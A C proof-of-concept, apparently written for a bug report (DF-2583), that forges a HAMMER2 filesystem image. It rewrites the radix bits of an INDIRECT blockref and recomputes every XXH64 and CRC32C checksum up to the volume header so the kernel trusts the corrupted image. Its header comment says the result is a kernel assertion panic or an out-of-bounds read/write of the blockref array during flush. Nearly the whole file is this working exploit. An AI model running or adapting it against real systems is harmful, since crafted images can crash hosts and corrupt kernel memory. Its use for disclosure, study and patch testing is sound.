/*
 * forge.c - DF-2583 image forger with full CRC chain fix
 *
 * Patches the radix (low 6 bits of data_off) of an INDIRECT blockref
 * found in a parent inode's blockset, and fixes the entire hammer2
 * CRC chain (XXH64 for inode/indirect blocks, CRC32C for the volume
 * header) so the kernel accepts the forged data.
 *
 * Build:  cc -O2 -o forge forge.c
 * Usage:  ./forge <image> <new_radix>
 *
 * The forged radix makes parent->bytes = 1<<new_radix when the kernel
 * loads the INDIRECT chain.  Combined with hammer2_flush_core computing
 * count = parent->bytes / sizeof(hammer2_blockref_t) with no bound,
 * this triggers:
 *   - On default GENERIC (INVARIANTS ON): KKASSERT panic in
 *     hammer2_io_alloc (lsize > HAMMER2_PBUFSIZE).
 *   - On noinv: OOB read/write of the blockref array at flush time
 *     (hammer2_flush.c:1094) because the buffer is only HAMMER2_PBUFSIZE
 *     but the loop iterates count=bytes/128 elements.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

/* ---- XXH64 (xxHash 64-bit, seed = 0x4d617474446c6c6e) ---- */

#define XXH_PRIME64_1  0x9E3779B185EBCA87ULL
#define XXH_PRIME64_2  0xC2B2AE3D27D4EB4FULL
#define XXH_PRIME64_3  0x165667B19E3779F9ULL
#define XXH_PRIME64_4  0x85EBCA77C2B2AE63ULL
#define XXH_PRIME64_5  0x27D4EB2F165667C5ULL

static inline uint64_t xxh64_round(uint64_t acc, uint64_t input) {
    acc += input * XXH_PRIME64_2;
    acc = (acc << 31) | (acc >> (64 - 31));
    acc *= XXH_PRIME64_1;
    return acc;
}

static inline uint64_t xxh64_merge(uint64_t acc, uint64_t val) {
    val = xxh64_round(0, val);
    acc ^= val;
    acc = acc * XXH_PRIME64_1 + XXH_PRIME64_4;
    return acc;
}

static uint64_t xxh64(const void *input, size_t len, uint64_t seed) {
    const uint8_t *p = input;
    const uint8_t *end = p + len;
    uint64_t h64;

    if (len >= 32) {
        const uint8_t *lim = end - 32;
        uint64_t v1 = seed + XXH_PRIME64_1 + XXH_PRIME64_2;
        uint64_t v2 = seed + XXH_PRIME64_2;
        uint64_t v3 = seed + 0;
        uint64_t v4 = seed - XXH_PRIME64_1;
        do {
            uint64_t r;
            memcpy(&r, p, 8); v1 = xxh64_round(v1, r); p += 8;
            memcpy(&r, p, 8); v2 = xxh64_round(v2, r); p += 8;
            memcpy(&r, p, 8); v3 = xxh64_round(v3, r); p += 8;
            memcpy(&r, p, 8); v4 = xxh64_round(v4, r); p += 8;
        } while (p <= lim);
        h64 = ((v1 << 1) | (v1 >> 63)) + ((v2 << 7) | (v2 >> 57)) +
              ((v3 << 12) | (v3 >> 52)) + ((v4 << 18) | (v4 >> 46));
        h64 = xxh64_merge(h64, v1);
        h64 = xxh64_merge(h64, v2);
        h64 = xxh64_merge(h64, v3);
        h64 = xxh64_merge(h64, v4);
    } else {
        h64 = seed + XXH_PRIME64_5;
    }
    h64 += (uint64_t)len;
    while (p + 8 <= end) {
        uint64_t r;
        memcpy(&r, p, 8);
        h64 ^= xxh64_round(0, r);
        h64 = ((h64 << 27) | (h64 >> 37));
        h64 = h64 * XXH_PRIME64_1 + XXH_PRIME64_4;
        p += 8;
    }
    if (p + 4 <= end) {
        uint32_t r;
        memcpy(&r, p, 4);
        h64 ^= ((uint64_t)r) * XXH_PRIME64_1;
        h64 = ((h64 << 23) | (h64 >> 41));
        h64 = h64 * XXH_PRIME64_2 + XXH_PRIME64_3;
        p += 4;
    }
    while (p < end) {
        h64 ^= (*p++) * XXH_PRIME64_5;
        h64 = ((h64 << 11) | (h64 >> 53));
        h64 = h64 * XXH_PRIME64_1;
    }
    h64 ^= h64 >> 33;
    h64 *= XXH_PRIME64_2;
    h64 ^= h64 >> 29;
    h64 *= XXH_PRIME64_3;
    h64 ^= h64 >> 32;
    return h64;
}

/* ---- CRC32C (Castagnoli, used for volume header icrc) ---- */

static const uint32_t crc32c_table[256] = {
/* generated from polynomial 0x1EDC6F41 (reflected) */
#include "crc32ctab.h"
};

static uint32_t crc32c(const void *buf, size_t len) {
    const uint8_t *p = buf;
    uint32_t crc = 0xFFFFFFFF;
    while (len--)
        crc = crc32c_table[(crc ^ *p++) & 0xFF] ^ (crc >> 8);
    return crc ^ 0xFFFFFFFF;
}

#define iscsi_crc32(buf, len)  crc32c((buf), (len))

/* ---- hammer2 on-disk constants ---- */

#define HAMMER2_OFF_MASK_RADIX   0x3FULL
#define BREF_TYPE_DIRENT         4
#define BREF_TYPE_INODE          1
#define BREF_TYPE_INDIRECT       2
#define BREF_BYTES               128
#define BREF_DATAOFF_OFF         0x20
#define BREF_CHECK_OFF           0x40   /* check union within blockref */

#define XXH_SEED                 0x4d617474446c6c6eULL

#define HAMMER2_VOLUME_BYTES     65536
#define VH_ICRC0_OFF             0
#define VH_ICRC0_SIZE            (512 - 4)
#define VH_ICRC1_OFF             512
#define VH_ICRC1_SIZE            512
#define VH_ICRCVH_OFF            0
#define VH_ICRCVH_SIZE           (65536 - 4)
#define VH_ICRC_SECTS_OFF        0x1E0   /* icrc_sects[8] in volume_data */
#define VH_ICRC_VOLHEADER_OFF    0xFFFC
#define VH_SROOT_BLOCKSET_OFF    0x200

static uint8_t *img;
static off_t imgsize;

static uint16_t rd16(const uint8_t *p) { return p[0] | (p[1] << 8); }
static uint32_t rd32(const uint8_t *p) {
    return (uint32_t)p[0] | ((uint32_t)p[1]<<8) | ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24);
}
static uint64_t rd64(const uint8_t *p) {
    uint64_t v = 0; int i;
    for (i = 0; i < 8; i++) v |= (uint64_t)p[i] << (i*8);
    return v;
}
static void wr16(uint8_t *p, uint16_t v) { p[0]=v&0xFF; p[1]=(v>>8)&0xFF; }
static void wr32(uint8_t *p, uint32_t v) {
    p[0]=v&0xFF; p[1]=(v>>8)&0xFF; p[2]=(v>>16)&0xFF; p[3]=(v>>24)&0xFF;
}
static void wr64(uint8_t *p, uint64_t v) {
    int i; for (i=0;i<8;i++) p[i]=(v>>(i*8))&0xFF;
}

/* Find a blockref by child data_off (raw, including radix bits). Searches
 * a block of blockrefs starting at block_start, count entries of bref_size.
 * Returns byte offset of the blockref in img, or -1. */
static off_t find_bref_by_dataoff(off_t block_start, int count, int bref_size,
                                    uint64_t child_dataoff_raw) {
    int i;
    for (i = 0; i < count; i++) {
        off_t boff = block_start + i * bref_size;
        if (boff + bref_size > imgsize) break;
        uint8_t type = img[boff];
        if (type == 0) continue;  /* EMPTY */
        uint64_t doff = rd64(img + boff + BREF_DATAOFF_OFF);
        if (doff == child_dataoff_raw) {
            fprintf(stderr, "  found bref type=%d at img off %lld (0x%llx) data_off=0x%llx\n",
                    type, (long long)boff, (long long)boff,
                    (unsigned long long)doff);
            return boff;
        }
    }
    return -1;
}

/* Recompute XXH64 of a data block, store in parent blockref's check field. */
static void fix_xxh64(off_t data_off, uint64_t data_size, off_t bref_off) {
    uint64_t h = xxh64(img + data_off, data_size, XXH_SEED);
    fprintf(stderr, "  XXH64(data@0x%llx sz=%llu) = 0x%016llx -> bref@0x%llx+0x40\n",
            (unsigned long long)data_off, (unsigned long long)data_size,
            (unsigned long long)h, (long long)bref_off);
    wr64(img + bref_off + BREF_CHECK_OFF, h);
}

/* Find an INDIRECT blockref in the image.  We're looking for the FIRST
 * parent inode_data blockset that contains an INDIRECT (type 2) bref.
 * Returns the byte offset of that bref in the image.  Also returns the
 * inode_data base (1024-byte aligned).  Returns the bref offset, or -1. */
static off_t find_indirect_bref(off_t *parent_inode_off_out) {
    off_t o;
    /* Scan 1024-aligned positions for inode_data (version=1 at +0x00). */
    for (o = 0; o + 1024 <= imgsize; o += 1024) {
        if (rd16(img + o) != 1) continue;  /* version must be 1 */
        off_t bs = o + 0x200;
        int i;
        for (i = 0; i < 4; i++) {
            off_t boff = bs + i * BREF_BYTES;
            uint8_t type = img[boff];
            if (type == BREF_TYPE_INDIRECT) {
                uint64_t doff = rd64(img + boff + BREF_DATAOFF_OFF);
                int radix = (int)(doff & HAMMER2_OFF_MASK_RADIX);
                off_t offset = (off_t)(doff & ~HAMMER2_OFF_MASK_RADIX);
                fprintf(stderr, "  INDIRECT bref at 0x%llx (parent inode @0x%llx) "
                        "data_off=0x%llx radix=%d offset=0x%llx\n",
                        (long long)boff, (long long)o,
                        (unsigned long long)doff, radix, (long long)offset);
                *parent_inode_off_out = o;
                return boff;
            }
        }
    }
    return -1;
}

int main(int argc, char **argv) {
    int fd;
    long val;
    int new_radix;
    ssize_t n;

    if (argc < 3) {
        fprintf(stderr, "usage: %s <image> <new_radix>\n", argv[0]);
        return 2;
    }
    val = strtol(argv[2], NULL, 0);
    if (val < 0 || val > 63) { fprintf(stderr, "radix out of range\n"); return 2; }
    new_radix = (int)val;

    fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    imgsize = lseek(fd, 0, SEEK_END);
    lseek(fd, 0, SEEK_SET);
    img = malloc(imgsize);
    if (!img) { perror("malloc"); close(fd); return 1; }
    n = read(fd, img, imgsize);
    if (n != imgsize) { perror("read"); free(img); close(fd); return 1; }

    /* ---- Step 1: find an INDIRECT bref and its parent inode_data ---- */
    off_t parent_inode_off = 0;
    off_t indirect_bref = find_indirect_bref(&parent_inode_off);
    if (indirect_bref < 0) {
        fprintf(stderr, "forge: no INDIRECT bref found\n");
        free(img); close(fd); return 1;
    }

    /* ---- Step 2: patch the radix of the INDIRECT bref's data_off ---- */
    uint64_t old_doff = rd64(img + indirect_bref + BREF_DATAOFF_OFF);
    int old_radix = (int)(old_doff & HAMMER2_OFF_MASK_RADIX);
    uint64_t old_offset = old_doff & ~HAMMER2_OFF_MASK_RADIX;
    uint64_t new_doff = old_offset | (uint64_t)new_radix;
    fprintf(stderr, "patching INDIRECT bref at 0x%llx: radix %d -> %d "
            "(data_off 0x%llx -> 0x%llx, bytes %llu -> %llu)\n",
            (long long)indirect_bref, old_radix, new_radix,
            (unsigned long long)old_doff, (unsigned long long)new_doff,
            (unsigned long long)(1ULL << old_radix),
            (unsigned long long)(1ULL << new_radix));
    wr64(img + indirect_bref + BREF_DATAOFF_OFF, new_doff);

    /* ---- Step 3: fix XXH64 of parent inode_data (1024 bytes, radix 10) ----
     * parent inode_data blockset now contains the patched INDIRECT bref.
     * Recompute the parent inode_data's XXH64 and store it in the bref that
     * points to the parent inode_data. */
    uint64_t parent_dataoff_raw = (uint64_t)parent_inode_off | 10ULL;
    fprintf(stderr, "parent inode_data at 0x%llx, data_off raw=0x%llx\n",
            (unsigned long long)parent_inode_off,
            (unsigned long long)parent_dataoff_raw);

    /* Search the entire image for the bref pointing to the parent inode */
    off_t parent_bref = find_bref_by_dataoff(0, imgsize / BREF_BYTES,
                                              BREF_BYTES, parent_dataoff_raw);
    if (parent_bref < 0) {
        /* Try the volume header sroot_blockset area too */
        parent_bref = find_bref_by_dataoff(VH_SROOT_BLOCKSET_OFF, 4,
                                            BREF_BYTES, parent_dataoff_raw);
    }
    if (parent_bref < 0) {
        fprintf(stderr, "forge: parent bref not found\n");
        free(img); close(fd); return 1;
    }
    fix_xxh64(parent_inode_off, 1024, parent_bref);

    /* ---- Step 4: walk up the chain ----
     * cur_bref is inside some container.  Two container shapes:
     *   (a) inode_data blockset: 1024-aligned, version=1 at +0x00,
     *       bref must be in +0x200..+0x3FF.  Size = 1024, radix 10.
     *   (b) INDIRECT block: holds npdata[] of brefs, can be at any 128-byte
     *       offset within a 4096-byte (radix 12) block.  Size is encoded in
     *       the bref that points to this block (its data_off radix).
     * For each container we recompute XXH64 over its full size and store
     * it in the bref pointing to the container.  Continue up until we
     * reach the volume header (no further parent bref). */
    off_t cur_bref = parent_bref;
    int safety = 12;
    while (safety-- > 0) {
        /* Determine which container type holds cur_bref. */
        off_t inode_container = cur_bref & ~0x3FFLL;
        off_t rel_inode = cur_bref - inode_container;
        int is_inode_blockset =
            (inode_container + 1024 <= imgsize) &&
            (rd16(img + inode_container) == 1) &&
            (rel_inode >= 0x200 && rel_inode < 0x400);

        off_t container_off;
        uint64_t container_size;
        int container_radix;

        if (is_inode_blockset) {
            container_off = inode_container;
            container_size = 1024;
            container_radix = 10;
            fprintf(stderr, "  inode_data container @0x%llx (1024B) holds bref@0x%llx\n",
                    (long long)container_off, (long long)cur_bref);
        } else {
            /* INDIRECT block: 4K-aligned (radix 12). */
            container_off = cur_bref & ~0xFFFULL;
            /* Read its size from the bref that points to it (search).  We
             * don't know the size yet, so try radix 12 (4096) which is the
             * standard INDIRECT size.  If we can't find a parent bref we'll
             * bail. */
            container_radix = 12;
            container_size = 1ULL << container_radix;
            /* Validate: this block should NOT look like an inode (ver!=1)
             * and should be inside the image. */
            if (container_off + container_size > imgsize) {
                fprintf(stderr, "  INDIRECT container@0x%llx+%llu > imgsize; stop\n",
                        (long long)container_off,
                        (unsigned long long)container_size);
                break;
            }
            fprintf(stderr, "  INDIRECT container @0x%llx (4096B) holds bref@0x%llx\n",
                    (long long)container_off, (long long)cur_bref);
        }

        /* Find bref pointing to this container. */
        uint64_t container_dataoff = (uint64_t)container_off | (uint64_t)container_radix;
        off_t up_bref = find_bref_by_dataoff(0, imgsize / BREF_BYTES,
                                              BREF_BYTES, container_dataoff);
        if (up_bref < 0) {
            /* try volume header sroot_blockset */
            up_bref = find_bref_by_dataoff(VH_SROOT_BLOCKSET_OFF, 4,
                                            BREF_BYTES, container_dataoff);
        }
        if (up_bref < 0) {
            /* If we guessed the INDIRECT size wrong, try other radixes. */
            for (int try_radix = 6; try_radix <= 16 && up_bref < 0; try_radix++) {
                if (try_radix == container_radix) continue;
                container_dataoff = (uint64_t)container_off | (uint64_t)try_radix;
                up_bref = find_bref_by_dataoff(0, imgsize / BREF_BYTES,
                                                BREF_BYTES, container_dataoff);
                if (up_bref < 0) {
                    up_bref = find_bref_by_dataoff(VH_SROOT_BLOCKSET_OFF, 4,
                                                    BREF_BYTES, container_dataoff);
                }
                if (up_bref >= 0) {
                    container_radix = try_radix;
                    container_size = 1ULL << try_radix;
                    fprintf(stderr, "  INDIRECT radix resolved: %d (size %llu)\n",
                            container_radix, (unsigned long long)container_size);
                    break;
                }
            }
        }
        if (up_bref < 0) {
            fprintf(stderr, "  no up_bref for container 0x%llx -- assume top of tree\n",
                    (long long)container_off);
            break;
        }
        fix_xxh64(container_off, container_size, up_bref);
        cur_bref = up_bref;
        if ((up_bref >= VH_SROOT_BLOCKSET_OFF) &&
            (up_bref < VH_SROOT_BLOCKSET_OFF + 4 * BREF_BYTES) &&
            (up_bref < HAMMER2_VOLUME_BYTES)) {
            fprintf(stderr, "  reached volume header sroot_blockset; stopping\n");
            break;
        }
    }

    /* ---- Step 5: fix volume header CRCs ---- */
    /* icrc_sects[6] = CRC32C of sector 1 (bytes 512..1023) */
    uint32_t icrc1 = iscsi_crc32(img + VH_ICRC1_OFF, VH_ICRC1_SIZE);
    wr32(img + VH_ICRC_SECTS_OFF + 6 * 4, icrc1);
    fprintf(stderr, "volhdr icrc_sects[6] = 0x%08x\n", icrc1);

    /* icrc_sects[7] = CRC32C of bytes 0..507 */
    uint32_t icrc0 = iscsi_crc32(img + VH_ICRC0_OFF, VH_ICRC0_SIZE);
    wr32(img + VH_ICRC_SECTS_OFF + 7 * 4, icrc0);
    fprintf(stderr, "volhdr icrc_sects[7] = 0x%08x\n", icrc0);

    /* icrc_volheader = CRC32C of bytes 0..65531 */
    uint32_t icrcvh = iscsi_crc32(img + VH_ICRCVH_OFF, VH_ICRCVH_SIZE);
    wr32(img + VH_ICRC_VOLHEADER_OFF, icrcvh);
    fprintf(stderr, "volhdr icrc_volheader = 0x%08x\n", icrcvh);

    /* ---- Write back ---- */
    lseek(fd, 0, SEEK_SET);
    n = write(fd, img, imgsize);
    if (n != imgsize) { perror("write"); free(img); close(fd); return 1; }
    fsync(fd);
    fprintf(stderr, "forge: done, new_radix=%d\n", new_radix);
    free(img);
    close(fd);
    return 0;
}